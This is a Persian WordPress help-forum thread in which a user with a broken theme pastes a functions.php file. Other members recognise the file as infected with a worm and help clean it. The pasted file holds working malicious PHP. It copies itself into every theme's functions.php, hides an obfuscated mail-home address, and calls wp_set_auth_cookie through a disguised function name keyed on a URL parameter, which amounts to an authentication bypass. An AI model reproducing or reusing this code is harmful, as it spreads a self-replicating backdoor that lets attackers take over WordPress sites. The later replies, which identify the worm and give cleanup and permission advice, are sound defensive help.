Seyed Ali

پوسته ي سايتم از فهرست پشتيباني نمي كنه

20 پست در این موضوع قرار دارد

سلام

پوسته ي سايتم از فهرست پشتيباني نمي كنه؟ چطور مي تونم اين امكان رو اضافه كنم ؟

اگه بخوام فهرست رو مثل اين سايت :

http://tortak.com/

بالاي صفحه درست كنم چكار كنم ؟

آدرس سايتم :

http://razva.ir/

0

به اشتراک گذاری این پست


لینک به پست

اون كدي كه تو اين آموزش گفتيد رو كپي كردم اما بعدش اصلا سايت باز نميشه و اين ارور رو مي ده:

Parse error: syntax error, unexpected T_STRING in /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php on line 1

0

به اشتراک گذاری این پست


لینک به پست

سلام

مشکل در فایل فانکشن هست . ببینید کد php که شروع شده بسته شده یا نه ، یا اینکه کد رو در فانکشن درست گذاشتید یا نه . کد فایل فانکشن رو بذارید تا دوستان بررسی کنند .

1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

اين كد كاملشه :


<?phpif ( function_exists('register_sidebar') )register_sidebar(array('name'=>'right-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));if ( function_exists('register_sidebar') )register_sidebar(array('name'=>'left-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = bloginfo('stylesheet_directory')."/new_guide_app.jpg"; } return $first_img;}?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

توجه: برای قرار دادن کد از پیوست و یا ابزار "کد" در نوار ابزار انجمن استفاده کنید.

ویرایش شده در توسط سعید حسینی
استفاده نکردن از ابزار کد
0

به اشتراک گذاری این پست


لینک به پست

داداش این کد رو بی زحمت بذار تو یه فایل تکست ، پیوست کن . اینجوری که چیزی معلوم نیست !!! :D

1

به اشتراک گذاری این پست


لینک به پست

فایل پیوست رو امتحان کنید .

functions.php

1

به اشتراک گذاری این پست


لینک به پست

سلام

این functions.php امتحان کنید.

functions.php

فایل شما دارای این Worm نیز بود و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه.

3

به اشتراک گذاری این پست


لینک به پست

فريد جون فايلي كه دادي همون ارور رو مي داد

اما فايل آقا سعيد حسيني رو كه گذاشتم درست شد

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

0

به اشتراک گذاری این پست


لینک به پست

پس مشکل از جایی که من گفتم نبوده ، از همون worm هست که ایشون گفتن ، احتمالا این مشکل هم از همون ناشی میشه ...... فایل functions شما فکر کنم کلا داغونه !!!!

1

به اشتراک گذاری این پست


لینک به پست

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

این را جایگزین کنید:functions.php

2

به اشتراک گذاری این پست


لینک به پست

جايگزين كردم سعيد جان

مشكل رفع نشد

متاسفانه

0

به اشتراک گذاری این پست


لینک به پست

دوست عزیز اسپم نکنید. اسپم شما باعث شده سری بعد که از شما اسپمی ببینم شما رو برای چند روز از انجمن محروم کنم.

در مود مشکل هم شما اول فایلی که سعید عزیز دادن رو در پوسته جایگزین بعد سطح دسترسی نوستن فایل رو بردارید تا به فایل اطلاعات اضافی وارد نشه.

2

به اشتراک گذاری این پست


لینک به پست

سطح دسترسي رو چند باشه ؟

0

به اشتراک گذاری این پست


لینک به پست

سطح دسترسي رو چند باشه ؟

بعد از آپلود شما این کرم بلافاصله کد هارو اضافه میکنه پس با نامی به غیر از functions.php آپلود کنید مثلاً sampl.php و به سطح 644 تغییر بدید و بعد با تغیر نام به functions.php امتحان کنید.

و در مورد خطای "Warning: Cannot modify header information - headers already sent by" این خطا مربوط به فضاهای اضافی در ابتدا و انتهای بلوک باز و بسته شده php ) PHP?> و <?) در فایل functions.php به وجود میاد که این موارد هم رفع کردم.

و در پایان با ادامه پیدا کردن و رفع نشدن این مشکل فایل functions.php از پوسته اصلیتون دریافت با روشی که گفتم جایگزین کنید.

1

به اشتراک گذاری این پست


لینک به پست

با اجازه ادمین محترم

گاهی به خاطر UTF شدن ساختار فایل این مشکل پیش میاد و با انتخاب نوع بدون BOM حل میشه.

2

به اشتراک گذاری این پست


لینک به پست

من هم با اجازه ي ادمين هاي محترم و تاييد حرف iranata بگم كه براي من هم يك بار اين warning رو داد . اول fanctions.php اين رو گذاشتم و حل شد :


<?php ob_start(); ?>

2

به اشتراک گذاری این پست


لینک به پست

دو موردی که دوستان iranata و pary_daryayi مطرح کردند تایید میشه و این 2 فایل هم تست کنید.

1- functions1.php

2- functions2.php

3

به اشتراک گذاری این پست


لینک به پست

دوستان از همه ممنونم

خصوصا آقا سعيد حسيني

دستتون درد نكنه

مشكل حل شد

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط t-51
      با سلام خدمت همه .
      بنده یه مشکل کوچیک داشتم قسمت فهرست سازی اونم عبارت از نامعتبر بودن صفحات ورود و ثبت نام به دلیل نامعلوم به شرح عکس زیر کسی میدونه باید چیکار کرد یا اضلا چرا اینطوری شده ؟
       

    • توسط Ratinum
      با سلام. وقتی با موبایل سایت را باز می کنم فهرست اصلی بالای سایت باز نمی شود. لطفاً راهنمایی فرمایید. آدرس سایت: www.rkanal.ir
    • توسط amhoes1378
      سلام من یک پوسته وردپرس می نویسم سوالی داشتم که هیچ جا جوابش پیدا نشد ممنون میشم کمکم کنید
      من میخوام تعداد آیتم های یا همون <li> های داخل فهرست وردپرسم محدود باشه
      مثلا کاربر نتونه بیش از مقداری که من تعیین کردم در پوسته ی خودم آیتم به فهرست اضافه کنه
      همین 
      تشکر
    • توسط soshiant
      سلام
      سایت ورزش سه رو اگه دیده باشید بالای سایت سمت راست در سطر اول، فهرست (منو) های سایت رو قرار داده. درست روبروش و در سمت چپ تاریخ رو قرار داده
      من هرکاری میکنم نمیتونم روبروی فهرستم تاریخ رو قرار بدم. الان تاریخ یک سطر بالاتر از فلهرست ها قرار داره. کمک میکنید؟
      لینک سایتمم تو امضام هس
    • توسط kalantari
      داخل سایتم فهرستی ایجاد کردم که چند مشکل اساسی داره،
      ممنون میشم اگر راهنماییم کنید،
      1) کشوهای فهرستم از چپ به راست باز میشن، در حالی که با توجه به اینکه سایتم به زبان فارسی هست باید راست به چپ باز بشه
      2)داخل فهرستم، وقتی روی بخش مادر کلیک می کنم هم صفحه ای باز می شه، در حالی که بخش مادر برای ایجاد زیرمجموعه ها هست و می خوام به شکلی باشه که با کلیک روی بخش مادر عکس‌العملی نشان داده نشه

      ممنون میشم اگر با جزییات راهنماییم کنید.